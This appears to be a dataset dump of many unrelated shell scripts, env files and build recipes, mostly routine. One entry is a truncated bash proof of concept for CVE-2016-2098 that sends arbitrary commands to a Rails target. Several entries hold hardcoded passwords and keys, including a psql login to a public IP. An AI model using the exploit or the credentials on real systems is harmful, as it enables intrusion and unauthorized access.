blob_id stringlengths 40 40 | length_bytes int64 7 488k | source stringlengths 7 488k |
|---|---|---|
7c01ab673138448c0ece938c451174026810e395 | 393 | #!/bin/sh
pushd `dirname $0` > /dev/null
export _SCRIPT_DIR=`pwd -P`/../share/dzen-configs/strangeWORLD
popd > /dev/null
FG='#dcdcdc'
BG='#333333'
conky -c $_SCRIPT_DIR/.conkyrcdzen1 | dzen2 -e - -h '28' -w '900' -ta l -x '0' -fg $FG -bg $BG -fn 'Ubuntu:size=10' &
conky -c $_SCRIPT_DIR/.conkyrcdzen2 | dzen2 -e ... |
f198127590b012df7d1cad6c5aad1ec3866931ea | 123 | load helpers
@test "static page works" {
run http_get "/"
[ "$status" -eq 0 ]
[ "$output" = "Hello World" ]
}
|
9fd91a9b52a13bd59a2b9864d659a6f02f178a89 | 216 | POSTGRES_USER=coderjourney
POSTGRES_PASSWORD=abcd1234
POSTGRES_HOST=db
SECRET_KEY_BASE=86c414e652f8fc60b73721e1e1a9f2c60a3811b500cf5553483b67ba4c22ac8f0d63b767f2f9c1c8df6d9fdf2f072f653a8a482ace8717037870a8cb7afee544
|
7b42c573a8e9776811147f448b5a284938efafaf | 326 | #!/bin/bash
# shoutout to SE user speakr - https://superuser.com/users/138199/speakr
# taken from https://superuser.com/a/461560
thisdir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
pyfile="${thisdir}/main.py"
until python "${pyfile}"; do
echo "wegbot crashed with exit code $?. Restarting..." >&2
sleep 1
... |
377fba6eeccac879a1ebe4878e68b6a70a5f6281 | 77 | #!/bin/sh
docker build -f Dockerfile.amd64 -t mikenye/piaware:3.7.1-amd64 .
|
39698df9e3f9c866ddc39bfae68e6185354fa9c7 | 19 | ELK_VERSION=7.3.1
|
b475b3cb598759fac31b95d60d9dcdad26650421 | 48 | #!/bin/bash
echo "Hi"
read name
echo "$name"
|
b8d158b24494418f92a65e47d84f025406bd2b65 | 227 | #!/bin/bash
[ -z "$ruby" ] && ruby=2.0.0
# Clean gemset and database
. /etc/profile.d/rvm.sh
gemset=$(echo ${JOB_NAME} | cut -d/ -f1)-${EXECUTOR_NUMBER}
rvm use ruby-${ruby}@${gemset}
rvm gemset delete ${gemset} --force
exit 0
|
1e54ac9d8ac9c8b546ac259fdf1135d553901968 | 615 | #!/usr/bin/env bash
echo ">>> Adding PPA's and Installing Node.js"
# Add repo for latest Node.js
sudo add-apt-repository -y ppa:chris-lea/node.js
# Update
sudo apt-get update
# Install node.js
sudo apt-get install -y nodejs
# Change where npm global packages location
npm config set prefix ~/npm
# Add new npm glob... |
fa1308683656cb2e7f4d015c8ace5f74273e0439 | 2,972 | #!/bin/bash
#Connection location: function to test where I'm logging in from and what fallbacks should be used.
# There are a number of possibilites to check, we want to use RGB coloursets as much as possible, but have 256 fallbacks when we cannot.
# 1. On Soma (or another linux machine) with .Xresources available an... |
32d9e7b035e4ad238c13846e2b90202f08c5bb89 | 271 | hadoop jar hadoop-streaming.jar \
-D mapred.reduce.tasks=1 \
-input /labs/lab02data/facetz_2015_02_12/ \
-output /user/antonina.goryacheva/res_s \
-file mapper_s.py \
-mapper "mapper_s.py" \
-file reduce_s.py \
-reducer "reduce_s.py" \
|
f866ce68665fe754c64beeb19571765104ec6577 | 319 | #!/bin/bash
#$ -cwd
#$ -l mem_free=100G,h_vmem=100G,h_fsize=200G
#$ -N inter_eQTL
#$ -o logs/eQTL_inter_4_features.txt
#$ -e logs/eQTL_inter_4_features.txt
#$ -m a
echo "**** Job starts ****"
date
Rscript /dcl01/ajaffe/data/lab/dg_hippo_paper/eQTL_all_SNPs_n596/run_eqtls_interaction.R
echo "**** Job ends ****"
date
|
6e3a1b37812b7710759a0a54a8750ded738cd0f8 | 1,517 | # Helper functions used by interactive rebase tests.
# After setting the fake editor with this function, you can
#
# - override the commit message with $FAKE_COMMIT_MESSAGE
# - amend the commit message with $FAKE_COMMIT_AMEND
# - check that non-commit messages have a certain line count with $EXPECT_COUNT
# - check the ... |
6c280518bf61aecf8aec5052cf5617d0199b6689 | 737 |
pkgname=python3-pycurl
_pkgname=pycurl
pkgver=7.45.2
pkgrel=2
pkgdesc="A Python interface to libcurl."
arch=('x86_64')
url="http://pycurl.io/"
license=('GPL3')
depends=('python3' 'curl')
makedepends=('python3-setuptools')
replaces=('python2-pycurl')
provides=('python2-pycurl')
conflicts=('python2-pycurl')
source=("htt... |
3cdea23f3daebb367de496586a6b364840de48eb | 155 | #!/bin/bash -e
for data_set in original/*.csv ; do
echo "Processing $data_set"
head -n 4000 $data_set > ../`basename $data_set`
done
echo "Completed."
|
a7f7088d05ce27fb81013b6c22a5d9a68fdef0d3 | 498 | #!/bin/bash
echo "Build the view in in test mode"
yarn build
echo "Build completed in build folder."
echo "start copying to remote test1 server."
ssh test1 "rm -rf ~/light-chain/light-config-test/test1/signin/build"
scp -r ./build test1:/home/steve/light-chain/light-config-test/test1/signin
echo "start copying to remot... |
b467c0faad7af6bf6d55f186fb7d3e43ac52d209 | 2,104 | #! /bin/bash
#This portion is extracted from the eTract pipeline developed by Ivan Gunz
kakembo=$0
### Variables ####
OUTWD=
INDIR=
CPUS=4
REFERENCE=
VERSION="1.0"
kakembo=$0
ARGPARSED0=$0
ALLARGSPARSED=$@
usage() {
cat <<EOF
Thanks for using eTrack $VERSION
Developed by as a mini-project by Group-4 EanBIT Resi... |
a7480970a1263e201b8d5b07fe06707494fb00ed | 760 | #!/bin/bash
set -e -o pipefail
if [ "$DISABLE_LINTER" == "true" ]
then
exit 0
fi
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
if ! [ -x "$(command -v golangci-lint)" ]; then
echo "Installing GolangCI-Lint"
${DIR}/install_golint.sh -b $GOPATH/bin v1.20.0
fi
export GO111MODULE=on
golangci-lint run \
... |
c7173f69107f844a0eff23b60a1e01479810a79d | 7 | cat < . |
b2e4b7b6726cddc858a1ac44a2adb2f8c916672b | 780 | #Maintainer: Fredrik Andersson <fredrik.ks.andersson@gmail.com>
pkgname=cmakegen-git
pkgver=r40.115b37b
pkgrel=1
pkgdesc="Tool to automatically generate cmake files for c++ projects"
arch=("x86_64")
license=("MIT")
makedepends=("git" "cmake" "make")
depends=("cmake" "make")
source=("git+https://github.com/fredsson/cmak... |
177795cb53eafbb6c1921b37459b95e12eacdaa6 | 80 | #!/usr/bin/env bash
echo "Running heroku-buildpack-post-build-clean..."
exit 0
|
576cc7b26f21c39ff09389371dcb9c8c43f42022 | 100 | #!/bin/bash
for ext in bc opt cbpl bpl loc gbpl; do
find . -iname "*.${ext}" -print -delete
done
|
28dfcc5897585e84ec4fcc99c753d039bc0245e4 | 34 | ../../4.42/daily/convert_output.sh |
f4ea30a42d00e38f203dac8d96a0b1372decc1d8 | 384 | #!/bin/bash
clear
function init() {
clear
echo '-> Kill by Port'
sleep 1
echo ' '
}
sudo clear
init
if [[ $# -eq 0 ]]; then
echo "Digite a porta!"
echo ' '
sleep 1
exit 1
fi
if [[ $# -eq 1 ]]; then
sleep 1
#sudo "kill -9 $(lsof -t -i:$1)"
lsof -n -i:$1 | grep LISTEN | aw... |
ddef03ba42f62be9037919d08fe437b4e79d31cd | 104 | #!/bin/sh
fly -t ci set-pipeline --config pipeline.yml --pipeline drmaa2os --load-vars-from params.yml
|
1141777ddd0365f44017667363167ce14a6b1deb | 227 | EXTEND_ESLINT=true
REACT_APP_API_URL=http://localhost:3001
REACT_APP_ROUTING_API_URL=https://api.openrouteservice.org/
REACT_APP_AUTH0_DOMAIN=dev-g7dchufc.eu.auth0.com
REACT_APP_AUTH0_CLIENT_ID=0uVmfvzmb1DC3v4dkvFyVWeIQpdRptWS
|
cd026bba0d408771574cd4d709bd726ea30372ec | 305 | #!/usr/bin/env bash
# Shows Git branches not merged into master for projects in current folder
for dir in ./*; do (
if [ -d $dir ]; then
cd "$dir" &&
if [ -d '.git' ]; then
branch=`git branch --no-merge` &&
echo -e "$branch \t $dir";
fi
fi
) done
|
1394eadb4180a1ce194cd2ed1bbfc69c11e9374e | 514 | #!/bin/bash
if [[ "$1" == "" ]] || [[ "$2" == "" ]] || [[ "$3" == "" ]] || [[ "$4" == "" ]] ; then
echo "Usage: ./start-worker.sh nid model batch_size num_gpus [options]"
exit -1
else
nid=$1
model=$2
batch_size=$3
num_gpus=$4
python tf_cnn_benchmarks.py --local_parameter_device=cpu --num_gpus=${num_gpus} \
--b... |
17fdc68ba4cddac8b9c30b31ac14a28b8472eaf5 | 2,463 | #!/bin/bash
# Change to the root dir
cd "$(dirname "$0")"
# Make sure you edit cluster.conf prior to running this.
. ./cluster.conf
##########################
# Get a node list from the connecting node, save it to nodes.list
# Run the Package Manager for a clean copy of packages
# Upload the private key to the node
... |
7b5616ac12514b70098834a19cc4941db6d5621b | 1,313 | #1/bin/bash
# Run BQSR for WES data
# Note that the platform must be specified to correct only using the target regions
PLATFORM=$1
# illumina or roche
for BAM in *.realigned.bam
do
while [ $( jobs | wc -l ) ge 12 ]; do sleep 1; done
java -Xmx20g -jar /Molly/barbitoff/software/gatk-protected/target/GenomeAnalysisT... |
f00670ecd8013fa9261ba9e6584bc8c2866014ca | 109 | #!/bin/bash
echo "Iniciando contenedor..."
echo "INICIADO!!" > /var/www/html/cmd.html
apachectl -DFOREGROUND |
0688a12597bc2492894449ae1de2e314fde3ffed | 1,288 | #!/bin/bash
# The instructions in this file are extracted from
# 'Beyond Linux From Scratch' (2014-08-22 / r13994) but are modified for use
# with LFScript 4 which installs the software to a fake root directory.
#
# Beyond Linux From Scratch is released under the MIT license.
# Copyright (C) 2001-2014, The BLFS Develo... |
5e9cb87dd8c5925970da8fc370dfa812d1933d37 | 236 | #!/bin/bash
# @Author xutongze
# @Time 2021年7月2日
# @Description 避免ranger启动的shell内创建新的rangershell
rg() {
if [ -z "$RANGER_LEVEL" ]
then
ranger
else
exit
fi
}
# start rg()?
rg() |
684e351c491ee7423312ae2fb6336409c5899fd6 | 91 | #!/bin/bash
python3 kmeans_cluster_analysis.py embedding_files/${1}.pkl gap_files/${1}.pkl |
7ad385d956ec4c99e3af07f3a83a0ceee4dacc55 | 142 | #!/usr/bin/env bash
SOURCE_ROOT="$(dirname "$(realpath "${BASH_SOURCE[0]}")")"
cat "${SOURCE_ROOT}/test-notifications.lua" | awesome-client
|
97ef08b3830f8e6c35f72c9b9bd2c72052f57fff | 547 | #!/bin/bash
set -eu
pipeline_name="generate-cert"
if [ -z ${fly_target:-} ]; then echo "need to set fly_target environment variable"; exit 1; fi
DIR=$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )
export fly_target=${fly_target}
echo "Concourse API target ${fly_target}"
echo "Location: $(basename $DIR)"
pushd $D... |
edca4209e582424e9de2b8a7ae4a51e4466d692c | 584 | #!/bin/bash
# wp core install --path=www --url=${APPLICATION_DOMAIN} --title=${APPLICATION_DOMAIN} --admin_user=${WORDPRESS_ADMIN_USER} --admin_password=${WORDPRESS_ADMIN_PASSWORD} --admin_email=${WORDPRESS_ADMIN_EMAIL} --skip-email
# first='0'
# for i in $(echo $WORDPRESS_THEMES | tr "," "\n")
# do
# if [ $firs... |
f8a2e29eafc8560d9cc68276657c6a9b7ed054b9 | 546 | # Contributor: Githzerai <githzerai06@gmail.com>
pkgname=quicksand
pkgver=0.1
pkgrel=1
arch=(i686 x86_64)
pkgdesc="An alternative front-end for KRunner."
url="http://kde-apps.org/CONTENT/content-files/91748-quicksand.tar.bz2"
license="GPL"
depends=('kdebase-workspace' 'kdelibs')
makedepends=('cmake')
source=('http://k... |
50254cbc28289d48d8163c49a669606ff53cf20c | 436 | #!/bin/bash
redhat_version=$(cat /etc/*-release | grep ^VERSION | head -n1 | awk -F"=" '{print $2}' | xargs | awk -F'[ ]' '{print $1}' | xargs)
min_version=8.0
version=$(echo "$redhat_version>=$min_version" | bc) 2>/dev/null
if [[ $version -eq 1 ]];
then
echo $(cat /etc/redhat-release 2>/dev/null | awk '{print $1"... |
42441ce88580a1bdfb7bad5ae12bc8416f6472eb | 666 | #!/bin/bash
PREFIX=$1
CORES=$2
NJOBS=$3
SUFFIX="RData"
ROOT=`pwd`
for FILE in `find -iname "${PREFIX}*${SUFFIX}"`;
do
cd `dirname $FILE`
BASE=`basename $FILE`
BASE=${BASE%.RData}
echo "###"
echo $BASE
echo "###"
GENFILE=`ls *.gen`
SAMFILE=`ls *.sample`
PHSFILE=`basename $GENFILE`
PHSFILE=${GENFILE%.ge... |
33f3a0281ef853a8704bd0d6afb13a40d8319a6a | 263 | # Copyright (C) 2020, RTE (http://www.rte-france.com)
# SPDX-License-Identifier: Apache-2.0
VOTP1_ADDR=192.168.217.131
VOTP2_ADDR=192.168.217.132
OBSERVER_ADDR=192.168.217.133
NTP_ADDR=192.168.217.134
GATEWAY_ADDR=192.168.217.1
PUBLIC_NETWORK="192.168.217.0/24"
|
24df992813d138ba05b0dcf49b74f4abbb976e1f | 220 | DEBUG=True
FLASK_ENV=production
FLASK_APP=flaskr
SECRET_KEY=YOURSECRETKEY
DATABASE_URI = postgresql://[USER]:[PASSWORD]@localhost:5432/trivia
TEST_DATABASE_URI = postgresql://[USER]:[PASSWORD]@localhost:5432/trivia_test |
cf0586db66a43bf8010fefa1dc9023b1bc3843b8 | 271 | # DATABASE
USERNAME_DB =
DATABASE =
PASSWORD_DB =
HOST_DATABASE =
DIALECT = mysql
TYPE_SGBD = mysql
LOGGIN_DATABASE = false
OPERATORSALIASES = false
PORT_DB = 3306
# JWT
SECRET = SECRET
EXPIRESIN = 1d
DEFAULTSTRATEGY = jwt
# STORAGE
STORAGE = http://localhost:3000/
|
666e11b32f576722617e914ed5709ff3b737879f | 3,941 | # bash_profile:
if [ -n "${BASH_VERSION}" ] ; then
use_color=false
safe_term=${TERM//[^[:alnum:]]/.} # sanitize TERM
if [[ -f /etc/DIR_COLORS ]] ; then
grep -q "^TERM ${safe_term}" /etc/DIR_COLORS && use_color=true
elif type -p dircolors >/dev/null ; then
if dircolors --print-database | grep -q "^TERM ${safe_t... |
82777364dc7f175c26b6b57ecd067047dd3daa94 | 5,748 | #!/bin/bash
print_help(){
if [ "$1" -gt 1 ]; then
echo "Użycie opcji -h lub --help z innymi opcjami jest niedozwolone"
exit 1
fi
echo " ---- HELP: napisz man linuxrestore -----"
exit 0
}
print_version(){
if [ "$1" -gt 1 ]; then
echo "Użycie opcji -v lub --version z innymi opcjami jest niedozwolone"
exit... |
cc2bd92430cb9c993d2b7f2d07da5ba07d81f849 | 387 | #!/bin/bash
sed -i 's%if (false) { //Patched by feren-kde-settings%if (KCMShell.authorize("formats.desktop").length > 0) {%g' /usr/share/plasma/plasmoids/org.kde.plasma.digitalclock/contents/ui/main.qml
sed -i 's%if (false) { //Patched by feren-kde-settings%if (KCMShell.authorize("formats.desktop").length > 0) {%g' /u... |
9966c4892ebafdc0e796bb667b56df721f1566d4 | 62 | #!/bin/sh
bsc.iowa.extract_rawdata_from_blkparselog tracelog
|
9cdec78d20f8ac29a6398a939eea70e74f7c2dc3 | 11,399 | # Maintainer: Alexey Pavlov <alexpux@gmail.com>
# Maintainer: Ray Donnelly <mingw.android@gmail.com>
# Contributor: Alexey Borzenkov <snaury@gmail.com>
# Contributor: Renato Silva <br.renatosilva@gmail.com>
# Contributor: Liu Hao <lh_mouse@126.com>
# Contributor: Tim Stahlhut <stahta01@gmail.com>
_realname=gcc
_source... |
64d949d8edcfdbdf69abfb6de4146a0eb20de4ee | 4,170 | #!/bin/bash
#1.install
sudo python -m pip install "django<2"
#2.check
python
#>>> import django
#>>> django.VERSION
#(1, 6, 0, 'final', 0)
#>>>
#>>> django.get_version()
#'1.6.0'
#3.新建项目
django-admin.py startproject http
#创建成功后会有以下目录结构
#http
#├── manage.py
#└── http
#├── __i... |
9b01f7306e1aaa94ce0bbbcf56fc1102c0261316 | 2,494 | #!/usr/bin/env bash
set -euo pipefail
trap 'e=$?; [ $e -ne 0 ] && echo "$0 exited in error"' EXIT
# https://github.com/ANTsX/ANTs/wiki/simple-case:-T1-to-MNI-mapping-for-both-structure-and-pre-registered-fMRI
# 20210401WF - init
# Skullstrip
test -d bet || mkdir $_
# "brain extraction" using fsl's bet. could use AFNI'... |
2ee71ba69641722058758913067664d93d786aae | 283 | #!/bin/sh
SVN_VERSION=`git rev-parse --short HEAD || echo "GitNotFound"`
APP_VERSION=`head -n 3 update.sh|grep LAST_VERSION|awk -F"=" '{print $2}'`
go build -ldflags "-X main.buildTime=`date +%Y%m%d-%H%M%S` -X main.binaryVersion=$APP_VERSION -X main.svnRevision=${SVN_VERSION}"
|
a186fcdd039db9c5bf79b8884adc103728984d60 | 117 | ffmpeg -i Crota//Movie/2016_0922_121919_002.MP4 -ss 00:01:27 -t 00:00:11 -acodec copy -vcodec copy -async 1 main.mp4
|
54ef0a1a46192ec5b38370de542dcc1bd8ee0515 | 190 | #!/bin/bash
die() {
echo >&2 "$@"
exit 1
}
[ "$#" -eq 1 ] || die "Ping to multiple hosts. Usage: $0 <host_list>"
for ip in $(cat $1 | sed 's/.*@//g'); do
ping "$ip" -c 3
done
|
0c91f10730bb071c50a96e9bb8a5b6968b553484 | 116 | #!/bin/bash
/usr/bin/nohup /home/opvis/opvis_agent/agent_service/agent_udp >> /home/opvis/utils/log/agent.log 2>&1 & |
20a69da341fed2f26c681c60338fb26220e35ac8 | 339 | pushd ..
set -e
HOST_CACHE=$(python -c "from jukemir import CACHE_DIR; print(CACHE_DIR)")
echo $HOST_CACHE
popd
docker run \
-it \
--rm \
-d \
--name jukemir \
-u $(id -u):$(id -g) \
-v $HOST_CACHE:/jukemir/cache \
-v $(pwd)/../jukemir:/jukemir/jukemir \
-v $(pwd)/../reproduce:/jukemir/reproduce \
ju... |
3ec44bcdb413d7772abb0e667ddf592940cce62c | 457 | #!/bin/bash
ovs-ofctl del-flows br0
ovs-ofctl add-flow br0 in_port=2,actions=output:47
# input
for j in 0 1 2 3 4 5 6 7 8; do
for i in `seq 1 255` ; do
ovs-ofctl add-flow br0 in_port=48,ip,nw_src=10.0.$j.$i,actions=output:1
done
done
# output
#ovs-ofctl add-flow br0 in_port=1,actions=output:48
#for i in `seq 2 2 4... |
833cea1bd910b14ffbacdf7974588c6709bf7cc9 | 661 | #!/usr/bin/env bash
# Install xcode
sudo softwareupdate -i -a
xcode-select --install
# create the directory
mkdir .dotfiles
# clone into directory
git clone git@github.com:Keloran/dotfiles.git .dotfiles/keloran
# got into directory
cd .dotfiles/keloran
function doIt() {
rsync --exclude ".git/" --exclude ".DS_S... |
49e50fd52c10282ceaf33e9945e92dd179472f38 | 48 | #!/bin/sh
bundle exec rspec git_hooks/pre-push/
|
97536ae7f2980b35c3625ef350dad516f17228fd | 154 | #!/bin/bash
sott=1
for (( i = 1; i <= 4 ; i++ ))
do
for (( j = 1 ; j <= i; j++ ))
do
echo -n $sott " "
sott=$((sott+1))
done
echo
done
exit 0;
|
b93c56a4c670b5e345c1782a4adbadf06fb2173d | 260 | #!/bin/bash -ex
dl() {
[ "$FAB_HTTP_PROXY" ] && PROXY="--proxy $FAB_HTTP_PROXY"
cd $2; curl -L -f -O $PROXY $1; cd -
}
VERSION="5.0/5.0.8/+download/Plone-5.0.8-UnifiedInstaller.tgz"
URL="https://launchpad.net/plone/$VERSION"
dl $URL /usr/local/src
|
ec9ea0975ae97500174b9e1e3efdc03da9e3ddc0 | 775 | #!/usr/bin/bash -x
# Source the etcd
if [ -f /etc/profile.d/etcdctl.sh ]; then
source /etc/profile.d/etcdctl.sh;
fi
# Handle retrying of all etcd sets and gets
function etcd-set() {
etcdctl set "$@"
while [ $? != 0 ]; do sleep 1; etcdctl set $@; done
}
function etcd-get() {
etcdctl get "$@"
# "0" a... |
936c32631156a7713ac8c9c3a97cc4ab9d9d907f | 219 | #!/bin/bash
BASE=$(dirname $0)
TARGET="$BASE/target/scala-2.11/HLTA-assembly-1.1-deps.jar"
if [[ -e $TARGET ]]; then
mv $TARGET $BASE/target/scala-2.11/HLTA-deps.jar
else
echo "$TARGET does not exist."
exit -1
fi |
5988c49083b2f94c5ccb06af885c4b9379652c36 | 1,004 | #!/bin/bash
#pdftk \
#wamerican \
#xzdec \
#libbz2-dev \
#libcairo2-dev \
#libcurl4-openssl-dev \
#libfreetype6-dev \
#libuuid1 \
sudo pacman --sync --needed --noconfirm \
acpid \
atop \
autoconf \
automake \
base-devel \
bison \
bzip2 \
cmake \
curl \
jre7-openjdk-headless \
bind-tools \
expect \
gcc \
gettext \
gcc... |
4c52b491e9d1fef7df986e31b8038b21f72ffbbf | 123 | #!/bin/sh
export PG_ROOT=~/pgsql/bin
export OUT=/tmp/dtahara/out
$PG_ROOT/psql test -f $1 | grep '^Time:' >> $OUT/$1.out
|
73bfdeef07fa67cf7c04780f70845fb7509ccda5 | 279 | #!/bin/bash
set -e
source $(dirname "${BASH_SOURCE[0]}")/base.sh
cd "$(get-lctt-path)/sources"
domain="$1"
git checkout -b "$domain"
git grep -l "$domain"|while read file; do git rm "$file"; done
git commit -a -m "remove $domain"
git push -u origin "$domain"
git checkout master
|
bd9edc8ca9acb28aaf88cfcb0153e9bd60a138b9 | 843 | #!/bin/bash
NTASKS="2"
image="library://marcodelapierre/beta/openfoam:v1812"
# this configuration depends on the host
export MPICH_ROOT="/usr/local/packages/e4s/spack"
export MPICH_LIBS="$( which mpirun )"
export MPICH_LIBS="${MPICH_LIBS%/bin/mpirun*}/lib"
export SINGULARITY_BINDPATH="$MPICH_ROOT"
export SINGULARITY... |
5ed58305ade1b30c76fa09bd442a857afe7dfc81 | 241 | #!/bin/bash
#
# Wrapper to select best available diff highlighting option
if command_exists 'diff-so-fancy'; then
exec diff-so-fancy "$@"
elif command_exists 'diff-highlight'; then
exec diff-highlight "$@"
else
exec cat "$@"
fi
|
0033bd5459790a53556fb721643051675d148ba7 | 180 | #!/usr/bin/env bash
# Autor: Aissar Murad
#
# Usage:
# get-metadata meta-data/instance-id
#
# exit on error
set -e
PARAMETER=$1
curl "http://169.254.169.254/latest/$PARAMETER/"
|
0d030760f766e87d7beb8c9aab445c0c096b34b0 | 319 | #! /bin/sh
echo "[Symlinks for All]"
#permissions
sudo chmod 700 /home/gavin
sudo chown gavin /home/gavin
#single files
rm ~/.bashrc
ln -s ~/Dropboxes/Settings/.bashrc ~/.bashrc
rm ~/.rtorrent.rc
ln -s ~/Dropboxes/Settings/.rtorrent.rc ~/.rtorrent.rc
#folders
rm -rf ~/scripts
ln -s ~/Dropboxes/scripts ~/scripts
|
9a07eef3360ff85c31e370b008b1afcf31a8b34f | 177 | #!/bin/bash
expect <<!
source ~/.bash_profile
psql -h 42.159.87.142 -p 5432 -d postgres -U oushu
expect "*Password*"
send "lavaadmin"
expect "*ostgres*"
send "\q"
expect eof
!
|
3cff079ba2ad860fac992259397451fe6d512f3c | 1,507 | #!/bin/bash
# debug
# set -x
#loads VERSION, DEPS_PARAMS, ID, LOG_FILE, PLAY_COMMAND="${OPENSHIFT_DATA_DIR}play-${VERSION}/play"
. ${OPENSHIFT_REPO_DIR}.openshift/action_hooks/load_config
if [[ ! $? -eq 0 ]]; then
exit $?
fi
PLAY_PATH="play-$VERSION/"
# use tmp file just in case it hangs up
PLAY_ARCH="${OPENSHIFT... |
fe15ea4c5e8a6d124d98dc07b8d11d58873bfd9c | 81 | #!/bin/bash
# set Master sound level to 0 for all sound cards
sound-level.sh 0%
|
68ad871c79d2a7c19c285ded956a862b0e452c8a | 84 | #!/bin/bash
skrape -u $RDSUSER -H $RDSHOST -D $RDSDB -e /mnt/data/ --password=false
|
ba2172c690cb72d4aeacdf28ca99b2f20143b3b8 | 504 | if [ "$1" == "" ]; then
if [ "$OSTYPE" == "win32" ] || [ "$OSTYPE" == "msys" ]; then
g++ core.cpp -o core.exe -I C:/OpenSSL/include -L C:/OpenSSL/lib -lssl -lcrypto -lws2_32 -lgdi32 && ./core.exe
else
g++ core.cpp -o core -lssl -lcrypto && ./core
fi
elif [ "$1" == "code" ]; then
if [ "$... |
5e72171650d6c7bd60ac74ad6ea7b96160528ff3 | 810 | #!/bin/bash
set -e
REGISTRY="us.gcr.io/advisorconnect-1238/"
IMAGE="service-ingest-initiation"
#set image tag
if [ $CI_BRANCH != "production" ]; then
IMAGE_TAG=${CI_BRANCH}-${CI_TIMESTAMP}-${CI_COMMIT_ID}-${CI_COMMITTER_USERNAME}
else
IMAGE_TAG=2.1.0-${CI_TIMESTAMP}-${CI_COMMIT_ID}-${CI_COMMITTER_USERNAME}
fi
... |
e27caa013bf821e18490834c6135d8f043338ad8 | 2,363 | APP_NAME=Laravel
APP_ENV=local
APP_KEY=
APP_DEBUG=false
APP_URL=http://localhost
LOG_CHANNEL=stack
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=root
DB_PASSWORD=
BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=cookie
REDIS_HOST=127.0.0.1
REDIS_PASSW... |
69f0ba4ec5d547b90c6d9bd658fae184c764591d | 1,097 | #!/usr/bin/env zsh
###########################################################################
# Script Name : install.zsh
# Description : Installs Oh My Zsh and its plugins.
# Author : Denis Semenenko
# Email : dols3m@gmail.com
# Date written: January 2019
#
# Distributed under MIT license
# Copyright (c) 2... |
08d9c6d1998c5093ece426d73cf54b94762157df | 408 | LAICODE_DB_NAME=laicode
LAICODE_DB_USER=newuser
LAICODE_DB_PWD=password
LAICODE_DB_HOST=10.1.10.190
LAICODE_DB_PORT=3306
LAICODE_JUDGE_ENDPOINT=10.1.10.190:5001
LAICODE_LOG_DIR=/Users/chenxuefei/code/laicode/build/work_dir
LAICODE_CONTAINER_WORK_DIR=/var/run/laicode/work
LAICODE_HOST_WORK_DIR=/Users/chenxuefei/code/lai... |
1475f539042081cf727a6f1af7a34cf447b1279d | 2,228 | #!/bin/bash
set -e
echo "`date`: Configure certs directory"
certs_path=/var/vcap/data/smoke-tests/certs
rm -rf $certs_path
mkdir -p $certs_path
cp /var/vcap/jobs/smoke-tests/config/certs/* $certs_path/
mv $certs_path/client.crt $certs_path/client.<%= p("user") %>.crt
mv $certs_path/client.key $certs_path/client.<%= ... |
e8528821b3d3a100e4dcf65cc1f95443db0d2d1f | 42 | VARB="Shell Scripting is Fun!"
echo $VARB
|
5be597ebffdc2737951f729eccf3242b047ff878 | 1,285 | #!/bin/bash
USER=$1
USER_PASS=$2
HOSTNAME=$3
echo $HOSTNAME
echo "Add user compose"
sudo adduser --disabled-password --gecos "" $USER
echo "Set Password for user $USER"
echo "$USER:$USER_PASS" | sudo chpasswd
echo "Add user compose in sudoers file"
sudo sed -i '$a'$USER' ALL=(ALL) ALL' /etc/sudoers
echo "Add pas... |
346d95fb32112cc183dd00168941bb06bf080b73 | 332 | #!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
exit
fi
echo Launched at $(date "+%Y-%m-%d %H:%M:%S")
while true; do
if ! [ "`ping -c 1 -W 10 google.com`" ]; then
nmcli networking off && nmcli networking on
echo Network restarted $(date "+%Y-%m-%d %H:%M:%S")
fi
slee... |
53b2a0adee4d485f513b2dda321c3ca031d047f4 | 1,469 | #!/bin/sh
# This script is used to sync a remote-rootfs directory to local
# disk partition, in order to sync multiple rootfs, we use the
# btrfs as the local disk partition filesystem, for its subvolume
# feature.
#
# Currently, only support NFS format remote-rootfs as the first
# parameter, but easy to add more remot... |
750131bcc9d0c2d7095e1249bd06c37aab81f55a | 278 | #!/bin/bash
set -euo pipefail
# ==================================================================
# APPS
# ==================================================================
apps=(
"System Preferences"
"QuickTime Player"
)
for app in "${apps[@]}"; do
open -a "$app"
done
|
6f89fd0f03550cd32115afe72ee6a61df07f187b | 253 | #!/bin/sh
#Search for line number length
for f in *.c *.h; do
echo -en $f '\t'
awk '{print length, $0}' $f 2>/dev/null| sort -nr | head -1
done
echo
#Checks for unix line endings
file *.c *.h
#Search for unedited headers
grep "EDIT HERE" *.c *.h
|
bb0d510ab04e95416d57502457906d46b496dd10 | 7,691 | #!/bin/bash
NBIO=nbio
NVME_CLI=nvme
IOLOG_PREFIX=iolog-
SMARTLOG_PREFIX=smartlog-
ERRORLOG_PREFIX=errorlog-
IOENGINE=spdk
#IOENGINE=libaio
PCI_ADDRESS=$FQA_DEVICE # domain:bus:device:function
PATH_FQA_TEST_SCRIPT=~/fqa/trunk/fqa_test_script
PATH_GET_LOG=~/fqa/trunk/io/get_log
if [[ -z $NBIO_NSID ]]; then
NSID=1
... |
bbba009434d2bbd9474fa4f871e7556235887bda | 563 |
#!/bin/bash
echo '[+] CVE-2016-2098 POC'
if [ -z "$3" ]
then
echo '[-] USAGE: /bin/bash' $0 '<host> <URI> <cmd>'
echo '[~] Example: /bin/bash' $0 '"http://target.com" "pages?id" "whoami"'
exit -1
fi
host=$1
uri=$2
cmd=$3
while [ "$cmd" != 'exit' ]
do
... |
27445e0c5e4620d0c2a0e7dab96369b1a4daa8f5 | 764 | #add this function to your bashrc and create an alias
# shellcheck disable=SC2010
function finddir {
PROJECT_DIR=""
match_count=$(ls -l "$PROJECT_DIR" | grep '^d' | grep -ic "$1")
if [[ $match_count == 0 ]];then
echo "No match"
elif [[ $match_count == 1 ]];then
cd "$PROJECT_DIR/$(ls "$... |
5db526792c560bbac0886f28408c9ccdfb77e7f5 | 173 | Check the version of a package on a Debian based system
Install specific version of packages
Backporting on Debian
List installed packages
Keeping repos updated with `cron` |
c58d81bee75395f3269889cbb4545615ed9f3a61 | 158 | #!/bin/bash
cd ~/aichallenge2021/scenario/
python3 scenario.train.py --vehicle_id={e1856e5d-9cdb-44fc-9627-c4296a61ba8d} --bridge=127.0.0.1 --host=127.0.0.1
|
